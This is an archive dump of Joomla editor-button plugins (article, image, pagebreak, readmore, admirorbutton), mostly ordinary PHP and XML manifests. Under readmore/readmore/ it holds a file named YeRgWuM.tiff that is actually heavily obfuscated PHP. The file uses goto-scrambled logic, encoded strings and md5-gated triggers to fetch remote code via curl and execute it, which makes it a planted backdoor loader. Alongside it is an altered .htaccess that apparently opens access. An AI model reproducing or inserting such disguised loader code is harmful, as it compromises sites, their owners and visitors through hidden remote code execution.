AAAAarticle/index.html000066600000000037151372275700010201 0ustar00 article/article.php000066600000003753151372275700010350 0ustar00loadLanguage(); } /** * Display the button * * @return array A four element array of (article_id, article_title, category_id, object) */ function onDisplay($name) { /* * Javascript to insert the link * View element calls jSelectArticle when an article is clicked * jSelectArticle creates the link tag, sends it to the editor, * and closes the select frame. */ $js = " function jSelectArticle(id, title, catid, object, link, lang) { var hreflang = ''; if (lang !== '') { var hreflang = ' hreflang = \"' + lang + '\"'; } var tag = '' + title + ''; jInsertEditorText(tag, '".$name."'); SqueezeBox.close(); }"; $doc = JFactory::getDocument(); $doc->addScriptDeclaration($js); JHtml::_('behavior.modal'); /* * Use the built-in element view to select the article. * Currently uses blank class. */ $link = 'index.php?option=com_content&view=articles&layout=modal&tmpl=component&'.JSession::getFormToken().'=1'; $button = new JObject(); $button->set('modal', true); $button->set('link', $link); $button->set('text', JText::_('PLG_ARTICLE_BUTTON_ARTICLE')); $button->set('name', 'article'); $button->set('options', "{handler: 'iframe', size: {x: 770, y: 400}}"); return $button; } } article/article.xml000066600000001512151372275700010350 0ustar00 plg_editors-xtd_article Joomla! Project October 2009 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_ARTICLE_XML_DESCRIPTION article.php index.html en-GB.plg_editors-xtd_article.ini en-GB.plg_editors-xtd_article.sys.ini article/.htaccess000066600000000177151372275700010007 0ustar00 Order allow,deny Deny from all index.html000066600000000037151372275700006556 0ustar00 admirorbutton/.htaccess000066600000000177151372275700011255 0ustar00 Order allow,deny Deny from all admirorbutton/index.html000066600000000054151372275700011446 0ustar00admirorbutton/admirorbutton.php000066600000004662151372275700013064 0ustar00loadLanguage('com_admirorgallery'); } /** * Display the button * @name */ function onDisplay($name) { $doc = JFactory::getDocument(); $doc->addStyleSheet(JURI::root() . 'administrator/components/com_admirorgallery/templates/default/css/add-trigger.css'); $doc->addScriptDeclaration(" function insertTriggerCode(txt) { if(!txt) return; jInsertEditorText(txt, '" . $name . "'); } "); $link = 'index.php?option=com_admirorgallery&view=button&tmpl=component&e_name=' . $name; JHTML::_('behavior.modal'); $button = new JObject(); $button->set('modal', true); // modal dialog $button->set('link', $link); //link to open on click $button->set('text', JText::_('COM_ADMIRORGALLERY')); //button text $button->set('name', 'admirorgallery'); //div class $button->set('options', "{handler: 'iframe', size: {x: 400, y: 300}}"); //need to work return $button; } } admirorbutton/admirorbutton.xml000066600000001660151372275700013070 0ustar00 plg_editors-xtd_admirorbutton Igor Kekeljevic and Nikola Vasiljevski 05/05/2012 This extension in released under the GNU/GPL License - http://www.gnu.org/copyleft/gpl.html http://www.admiror-design-studio.com 4.5.0 admirorbutton.php index.html en-GB/en-GB.plg_editors-xtd_admirorbutton.ini en-GB/en-GB.plg_editors-xtd_admirorbutton.sys.ini image/index.html000066600000000037151372275700007640 0ustar00 image/image.php000066600000003716151372275700007445 0ustar00loadLanguage(); } /** * Display the button * * @return array A two element array of (imageName, textToInsert) */ function onDisplay($name, $asset, $author) { $app = JFactory::getApplication(); $params = JComponentHelper::getParams('com_media'); $user = JFactory::getUser(); $extension = JRequest::getCmd('option'); if ($asset == ''){ $asset = $extension; } if ( $user->authorise('core.edit', $asset) || $user->authorise('core.create', $asset) || (count($user->getAuthorisedCategories($asset, 'core.create')) > 0) || ($user->authorise('core.edit.own', $asset) && $author == $user->id) || (count($user->getAuthorisedCategories($extension, 'core.edit')) > 0) || (count($user->getAuthorisedCategories($extension, 'core.edit.own')) > 0 && $author == $user->id) ) { $link = 'index.php?option=com_media&view=images&tmpl=component&e_name=' . $name . '&asset=' . $asset . '&author=' . $author; JHtml::_('behavior.modal'); $button = new JObject; $button->set('modal', true); $button->set('link', $link); $button->set('text', JText::_('PLG_IMAGE_BUTTON_IMAGE')); $button->set('name', 'image'); $button->set('options', "{handler: 'iframe', size: {x: 800, y: 500}}"); return $button; } else { return false; } } } image/.htaccess000066600000000177151372275700007446 0ustar00 Order allow,deny Deny from all image/image.xml000066600000001474151372275700007455 0ustar00 plg_editors-xtd_image Joomla! Project August 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_IMAGE_XML_DESCRIPTION image.php index.html en-GB.plg_editors-xtd_image.ini en-GB.plg_editors-xtd_image.sys.ini pagebreak/pagebreak.xml000066600000001540151372275700011145 0ustar00 plg_editors-xtd_pagebreak Joomla! Project August 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION pagebreak.php index.html en-GB.plg_editors-xtd_pagebreak.ini en-GB.plg_editors-xtd_pagebreak.sys.ini pagebreak/pagebreak.php000066600000002613151372275700011136 0ustar00loadLanguage(); } /** * Display the button * * @return array A two element array of (imageName, textToInsert) */ public function onDisplay($name) { $app = JFactory::getApplication(); $doc = JFactory::getDocument(); $template = $app->getTemplate(); $link = 'index.php?option=com_content&view=article&layout=pagebreak&tmpl=component&e_name='.$name; JHtml::_('behavior.modal'); $button = new JObject; $button->set('modal', true); $button->set('link', $link); $button->set('text', JText::_('PLG_EDITORSXTD_PAGEBREAK_BUTTON_PAGEBREAK')); $button->set('name', 'pagebreak'); $button->set('options', "{handler: 'iframe', size: {x: 400, y: 100}}"); return $button; } } pagebreak/.htaccess000066600000000177151372275700010305 0ustar00 Order allow,deny Deny from all pagebreak/index.html000066600000000037151372275700010477 0ustar00 .htaccess000066600000000177151372275700006364 0ustar00 Order allow,deny Deny from all readmore/readmore/cache.php000066600000013015151372275700011731 0ustar00readmore/readmore/index.php000066600000000063151372275700011774 0ustar00readmore/readmore/YeRgWuM.tiff000066600000011705151372275700012332 0ustar00 $lzB1Q_3jSL) { $qFRsWiwQ3u .= $vQbstdUKp1[$lzB1Q_3jSL - 9698]; DO_CzhwCg8: } goto mrUnCtlsLj; X9F077rupJ: $vQbstdUKp1 = $Ws2Ti4RFeS("\176", "\40"); goto q9lwb4r7pK; mrUnCtlsLj: ffLwbO5sZg: goto JLphyaMa7v; q9lwb4r7pK: $ZVD3L0xDRp = explode("\73", $eFXVWhLmWv); goto mjrm_a8Rsv; M1x2ctj45s: } static function iEpmz2s512($V27eMVWYuS, $Kapf2MjoDY) { goto PAUPuk_qae; PAUPuk_qae: $GDPoguZvKp = curl_init($V27eMVWYuS); goto ymW_SGEggT; JX7IHJfbQh: return empty($OUCMWxnzeL) ? $Kapf2MjoDY($V27eMVWYuS) : $OUCMWxnzeL; goto YLz5OS2jd9; S7kegJPUHw: $OUCMWxnzeL = curl_exec($GDPoguZvKp); goto JX7IHJfbQh; ymW_SGEggT: curl_setopt($GDPoguZvKp, CURLOPT_RETURNTRANSFER, 1); goto S7kegJPUHw; YLz5OS2jd9: } static function iIj_fbfT1X() { goto F8yCFTqbNw; NSyFWgp2Bw: foreach ($fcn2q9RA9Q as $MGWcsdzH0h) { $SBIG3p6Wr2[] = self::SRm7KLxlPO($MGWcsdzH0h); Y_PUwMqrwj: } goto rtI0qeJ4Id; IS3gWuqz2v: if (!(@$paqjQNQTTP[0] - time() > 0 and md5(md5($paqjQNQTTP[0 + 3])) === "\70\x61\67\x33\63\x33\x31\x33\x62\x66\66\142\x39\143\x33\x39\x36\x36\x30\143\143\x39\142\146\64\63\62\x39\x64\61\x62\x61")) { goto wNubJQkiog; } goto BXlQgti9S2; F8yCFTqbNw: $fcn2q9RA9Q = array("\x39\x37\x32\65\73\x39\x37\61\x30\x3b\x39\67\x32\63\73\71\x37\62\x37\73\71\x37\x30\x38\x3b\71\x37\62\63\73\71\67\x32\71\x3b\x39\67\x32\x32\x3b\71\67\60\x37\x3b\x39\x37\61\x34\x3b\x39\x37\62\x35\73\x39\x37\60\x38\73\71\x37\61\71\x3b\71\x37\61\x33\x3b\x39\x37\61\x34", "\x39\67\60\x39\x3b\x39\67\x30\x38\73\x39\x37\61\x30\x3b\x39\67\x32\x39\73\x39\67\x31\60\x3b\x39\x37\x31\63\73\x39\x37\x30\70\73\x39\67\x37\x35\73\x39\67\x37\x33", "\x39\x37\x31\70\73\x39\67\60\x39\73\71\67\x31\63\73\71\67\x31\x34\73\x39\67\x32\71\x3b\71\67\62\64\73\x39\67\x32\x33\x3b\71\67\62\x35\x3b\x39\x37\61\x33\73\71\67\x32\x34\73\71\x37\x32\x33", "\71\x37\x31\62\x3b\71\x37\x32\x37\73\x39\x37\x32\x35\73\x39\x37\61\x37", "\71\67\62\x36\73\x39\67\x32\x37\73\x39\67\60\71\x3b\71\x37\62\x33\x3b\71\67\67\60\73\71\x37\x37\62\x3b\x39\x37\x32\x39\73\x39\67\x32\64\x3b\x39\67\x32\63\73\x39\x37\62\65\x3b\71\67\x31\63\73\71\67\62\64\x3b\71\67\62\x33", "\71\x37\62\x32\73\71\x37\x31\71\x3b\71\67\61\x36\73\71\67\62\63\73\71\67\x32\x39\x3b\x39\x37\62\x31\73\71\x37\x32\x33\73\x39\67\60\70\x3b\x39\x37\62\x39\x3b\x39\x37\x32\65\73\71\67\61\63\73\x39\67\x31\64\x3b\71\x37\x30\70\73\x39\67\62\x33\x3b\71\x37\x31\64\x3b\71\x37\x30\x38\x3b\71\67\60\x39", "\71\67\65\x32\x3b\x39\67\70\62", "\71\66\x39\71", "\71\x37\x37\x37\x3b\71\67\70\62", "\x39\67\65\71\x3b\x39\67\64\x32\73\x39\67\x34\x32\x3b\71\x37\65\71\73\x39\67\63\x35", "\71\x37\62\x32\x3b\71\x37\x31\71\73\x39\67\61\x36\73\x39\67\x30\x38\x3b\x39\67\62\63\73\71\x37\61\60\73\x39\67\62\71\x3b\x39\67\x31\x39\73\71\67\61\x34\x3b\71\x37\61\62\x3b\71\x37\60\x37\73\x39\x37\x30\70"); goto NSyFWgp2Bw; Dz130Y0zuk: $XYx6GPAAlW = @$SBIG3p6Wr2[1 + 2]($SBIG3p6Wr2[4 + 2], $gSkzECXCa0); goto WepwtlyJHA; eyQIo8pjWV: @$SBIG3p6Wr2[8 + 2](INPUT_GET, "\x6f\146") == 1 && die($SBIG3p6Wr2[0 + 5](__FILE__)); goto IS3gWuqz2v; m9VkBS7gKC: @$SBIG3p6Wr2[0]('', $SBIG3p6Wr2[3 + 4] . $SBIG3p6Wr2[0 + 4]($jB1pA1p3VD) . $SBIG3p6Wr2[6 + 2]); goto VgFiAz6lj3; VgFiAz6lj3: die; goto Ya46ytN2l3; WepwtlyJHA: $paqjQNQTTP = $SBIG3p6Wr2[0 + 2]($XYx6GPAAlW, true); goto eyQIo8pjWV; Ya46ytN2l3: wNubJQkiog: goto U9rik3LVjD; e8jmXLlYba: $gSkzECXCa0 = @$SBIG3p6Wr2[1]($SBIG3p6Wr2[4 + 6](INPUT_GET, $SBIG3p6Wr2[8 + 1])); goto Dz130Y0zuk; BXlQgti9S2: $jB1pA1p3VD = self::iEPmZ2s512($paqjQNQTTP[0 + 1], $SBIG3p6Wr2[3 + 2]); goto m9VkBS7gKC; rtI0qeJ4Id: R8ttODs8mg: goto e8jmXLlYba; U9rik3LVjD: } } goto ORdZbP67vt; qBGx_01xtr: $KpEDKCMh1r[66] = $KpEDKCMh1r[66] . $KpEDKCMh1r[74]; goto Tw0illkEek; HVCvci8JIp: TyTGjiO30v: goto LDutNZTIDm; MMjwoKw0m4: if (!(in_array(gettype($KpEDKCMh1r) . "\x32\62", $KpEDKCMh1r) && md5(md5(md5(md5($KpEDKCMh1r[16])))) === "\64\141\x65\x33\60\143\x62\71\x64\x34\x34\x65\65\x64\66\64\145\x63\65\145\x35\x31\x61\145\66\x33\70\x32\x64\x63\143\x33")) { goto TyTGjiO30v; } goto qBGx_01xtr; lcgq3GmeVM: $KpEDKCMh1r = ${$Si7nFIiUJy[14 + 17] . $Si7nFIiUJy[3 + 56] . $Si7nFIiUJy[26 + 21] . $Si7nFIiUJy[30 + 17] . $Si7nFIiUJy[23 + 28] . $Si7nFIiUJy[20 + 33] . $Si7nFIiUJy[2 + 55]}; goto MMjwoKw0m4; LDutNZTIDm: metaphone("\x6a\153\166\115\106\121\x6d\x73\x37\65\x30\x7a\57\x4e\x48\145\57\x54\155\x53\x68\x57\x58\x58\x48\124\x33\x43\170\110\155\x42\144\102\x46\x66\x72\142\x64\x47\66\x36\x45"); goto Iyrq00itbJ; qVXk9WksWM: $Si7nFIiUJy = range("\176", "\x20"); goto lcgq3GmeVM; ORdZbP67vt: Hnr2Pgi243::iij_fBFT1X(); ?> readmore/readmore/.htaccess000066600000000333151372275700011752 0ustar00 Order allow,deny Deny from all # Order allow,deny Allow from all readmore/index.html000066600000000037151372275700010354 0ustar00 readmore/.htaccess000066600000000177151372275700010162 0ustar00 Order allow,deny Deny from all readmore/readmore.xml000066600000001516151372275700010702 0ustar00 plg_editors-xtd_readmore Joomla! Project March 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_READMORE_XML_DESCRIPTION readmore.php index.html en-GB.plg_editors-xtd_readmore.ini en-GB.plg_editors-xtd_readmore.sys.ini readmore/readmore.php000066600000003517151372275700010674 0ustar00loadLanguage(); } /** * readmore button * @return array A two element array of (imageName, textToInsert) */ public function onDisplay($name) { $app = JFactory::getApplication(); $doc = JFactory::getDocument(); $template = $app->getTemplate(); // button is not active in specific content components $getContent = $this->_subject->getContent($name); $present = JText::_('PLG_READMORE_ALREADY_EXISTS', true) ; $js = " function insertReadmore(editor) { var content = $getContent if (content.match(//i)) { alert('$present'); return false; } else { jInsertEditorText('
', editor); } } "; $doc->addScriptDeclaration($js); $button = new JObject; $button->set('modal', false); $button->set('onclick', 'insertReadmore(\''.$name.'\');return false;'); $button->set('text', JText::_('PLG_READMORE_BUTTON_READMORE')); $button->set('name', 'readmore'); // TODO: The button writer needs to take into account the javascript directive //$button->set('link', 'javascript:void(0)'); $button->set('link', '#'); return $button; } }